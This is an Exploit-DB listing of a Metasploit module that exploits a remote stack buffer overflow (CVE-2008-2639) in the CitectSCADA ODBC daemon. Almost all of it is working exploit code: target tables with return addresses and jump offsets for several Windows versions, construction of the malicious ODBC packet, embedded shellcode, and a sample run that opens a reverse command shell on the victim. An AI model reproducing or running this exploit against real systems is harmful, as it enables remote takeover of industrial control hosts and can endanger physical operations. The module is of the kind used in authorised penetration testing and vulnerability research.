标题: CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit) EDB-ID: 6387 CVE: 2008-2639 类型: REMOTE 平台: WINDOWS 发布日期: 2008-09-05 漏洞利用脚本: ##
# $Id: citect_scada_odbc.rb
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
# 
#
# msfcli exploit/windows/misc/citect_scada_odbc RHOST=192.168.2.45 PAYLOAD=windows/shell/reverse_ord_tcp LHOST=192.168.2.101  TARGET=2 E
# [*] Started reverse handler
# ...
# [*] Sending stage (474 bytes)
# [*] Command shell session 1 opened (192.168.2.101:4444 -> 192.168.2.45:1039)
# 
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
# 
# C:\Program Files\Citect\CitectSCADA\Bin>
# 
# Arbitrary code has been sucessfully run on Windows XP SP2 and SP3, Win98 SE and Windows 2003 Server SP1
#
require 'msf/core'

module Msf

class Exploits::Windows::Misc::Citect_SCADA_ODBC < Msf::Exploit::Remote

 include Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CitectSCADA ODBC Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack overflow in CitectSCADA's ODBC daemon.
    This has only been tested against Citect v5, v6 and v7. 
   },
   'Author'         => [ 'KF <kf_lists[at]digitalmunition.com>' ],
   'Version'        => '$Revision: 1 $',
   'References'     => 
    [
     ['CVE', 'CVE-2008-2639'],
     ['BID', '29634'],
     ['URL', 'http://www.schneider-electric.com/sites/corporate/en/press/press-releases/viewer-press-releases.page?c_filepath=/templatedata/Content/Press_Release/data/en/shared/2005/10/20051019_schneider_electric_adds_scada_and_mes_capabilities_to_i.xml'],
     ['URL', 'http://www.coresecurity.com/content/citect-scada-odbc-service-vulnerability','http://www.auscert.org.au/render.html?it=9433'],
     ['URL', 'http://www.auscert.org.au/render.html?it=9433'],
     ['URL', 'http://www.controsys.hu/anyagok/group_quality_assurance.pdf'],
     ['URL', 'http://www.citect.com/documents/news_and_media/pr-citect-address-security.pdf'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'BadChars' => "\x00",
     'StackAdjustment' => -3500
    },
   'Platform'       => 'win',
   
   'Targets'        =>
    [
     # Small sample of potential targets... There ARE universal targets for *some* versions. The base address can varry unfortunately.
     ['CiExceptionMailer.dll on XP Sp2 or SP3 5.42',     { 'Version' => '5.42',    'OS' => 'xp',    'Ret' => 0x003a530e, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 216  } } ],
     ['CiExceptionMailer.dll on Server 2003 Sp2 6.0-r0', { 'Version' => '6.0-r0',  'OS' => '2003',  'Ret' => 0x003a6aad, 'Jump' => 0xffffff15e9, 'Payload' => { 'Space' => 212  } } ],    
     ['CiExceptionMailer.dll on XP Sp2 or SP3 6.0-r0',   { 'Version' => '6.0-r0',  'OS' => 'xp',    'Ret' => 0x0039cd5a, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 216  } } ],    
     ['CiExceptionMailer.dll on XP Sp2 or SP3 6.10',    { 'Version' => '6.10',    'OS' => 'xp',    'Ret' => 0x00501113, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 380  } } ],  
     ['CiExceptionMailer.dll on XP Sp2 or SP3 7.0-r0',   { 'Version' => '7.0-r0',  'OS' => 'xp',    'Ret' => 0x003e1e92, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 380  } } ],  
     ['CiExceptionMailer.dll on 2003 Server SP1 7.0-r0', { 'Version' => '7.0-r0',  'OS' => '2003',  'Ret' => 0x003d59d7, 'Jump' => 0xfffffe7be9, 'Payload' => { 'Space' => 376  } } ],  
     ['CiExceptionMailer.dll on Win98 5.50-r0',     { 'Version' => '5.50-r0', 'OS' => 'win98', 'Ret' => 0x006dd8b7, 'Jump' => 0xffffff6fe9, 'Payload' => { 'Space' => 140  } } ],  
     ['CiExceptionMailer.dll on XP SP2 5.50-r0',     { 'Version' => '5.50-r0', 'OS' => 'xp',    'Ret' => 0x003a5e90, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 216  } } ],  
     ['CiExceptionMailer.dll on 2003 Server 5.50-r0',    { 'Version' => '5.50-r0', 'OS' => '2003',  'Ret' => 0x003952ee, 'Jump' => 0xffffff15e9, 'Payload' => { 'Space' => 212  } } ],  
     ['Test Crash',                  { 'Version' => '666',     'OS' => 'test',  'Ret' => 0xdeadbeef, 'Jump' => 0xdeadbabeee, 'Payload' => { 'Space' => 8192 } } ],  
    ], 

   'Privileged'     => false,
   'DisclosureDate' => 'June 11 2008'
   ))

   register_options(
   [
    Opt::RPORT(20222)
   ], self.class)
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")
  if payload_space() != payload.encoded.length
   print_status("Metasploit payload bug... please check out from SVN")
   exit
  else 
   print_status("Space: #{payload_space()}") 
  end

  shortjmp   =    0xeb069090      # jump over garbage for SEH foo

  if(target['OS'] =~ /xp/)
   print_status("Using Windows XP Target")
  elsif (target['OS'] =~ /2003/)
   print_status("Using Windows 2003 Target")
  elsif (target['OS'] =~ /98/)
   print_status("no 98 foo yet")
  else (target['OS'] =~ /test/)
   print_status("Just testing.... don't mind me")
  end
 
  padding = 100  # Just fill up the end of the stack... 

  # There is some redundant shit here... will be cleaned up soon enough... 
  if (target['Version'] =~ /5.42/) || (target['Version'] =~ /6.0-r0/)
   filler = "\x90" * 10 + [target['Jump']].pack('Q')[0..4] + "\x90" * padding  
   mal = payload.encoded + [shortjmp].pack("N") + [target.ret].pack("V") + filler
  elsif (target['Version'] =~ /6.10/) || (target['Version'] =~ /7.0-r0/) 
   filler = [target['Jump']].pack('Q')[0..4] + "\x90" * padding  
   mal = payload.encoded + [shortjmp].pack("N") + [target.ret].pack("V") + filler
  elsif (target['Version'] =~ /5.50-r0/) 

   # This particular target encompases win98 windows XP and windows 2003 just so that no one feels left out. 
   # EVERYONE *CAN* be exploited... not just the guys running the modern stuff. Someone only needs to take a bit
   # of time to have a robust exploit for any platform or version they choose... 

   if(target['OS'] =~ /win98/)
    hop1 = 0xebb69090     # Short jump into small 72 byte buffer space - EBb6
    hop2 = target['Jump'] # Near jump into begining of entire buffer... leaves 140 chars of space. 
    seh = [target.ret].pack("V") # Call EAX from CiExceptionMailer.dll
 
    # Description : It is 110 Byte Shellcode which Pops up Message Box Under win98
    # This is just sample code from the milw0rm...its using static addresses from MY win98
    hell = 
    "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb" + 
    "\xd0\x76\xf7\xbf" +   # LoadLibraryA(libraryname) IN win98
    "\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb" +
    "\xa8\x6d\xf7\xbf" +   # GetProcAddress(hmodule,functionname)
    "\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x06\x31\xd2\x52\x51" +
    "\x51\x52\xff\xd0\x31\xd2\x50\xb8\xa2\xca\x81\x7c\xff\xd0\xe8\xc4\xff" +
    "\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff" +
    "\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff" +
    "\xff" + "PWNED." + "\x4e"
    mal = "\x90" * (payload_space - hell.length) + hell + [hop2].pack('Q')[0..4] + "Z" * 67 + [hop1].pack("N") + seh + "\x41" * padding
   elsif target['OS'] =~ /xp/ || target['OS'] =~ /2003/
    filler = "\x90" * 10 + [target['Jump']].pack('Q')[0..4] + "\x90" * padding  
    mal = payload.encoded + [shortjmp].pack("N") + [target.ret].pack("V") + filler
   end

  else (target['Version'] =~ /666/) 
   # Use this to find offsets for other versions that were not provided. 
   mal = Rex::Text.pattern_create(payload_space, Rex::Text::DefaultPatternSets)
   print_status("Use pattern_offset.rb to find the length")
  end 
 
  # Open your eyes people... listen carefully to the rhetoric. There is no spoon. 
  wakeup = [0x0000000002].pack('Q')[0..4] + [mal.length].pack("N") + mal

  len = [wakeup.length].pack("N")
  sock.put(len)
  sock.put(wakeup)
  print_status("Sent malicious ODBC packet...")

  handler
  print_status("Citect and other SCADA and Control vendors have been communicating potential " +
   "vulnerabilities of control systems when they are connected to the internet for some time. ")
  print_status("However, Citect believes this is only relevant to a company using ODBC technology and " +
   "directly connecting its system to the internet with no security in place -") 
  print_status("a situation unlikely in todayâ€™s business environment. ")

  disconnect 
 end

end
end

# milw0rm.com [2008-09-05] URL: https://www.exploit-db.com/exploits/6387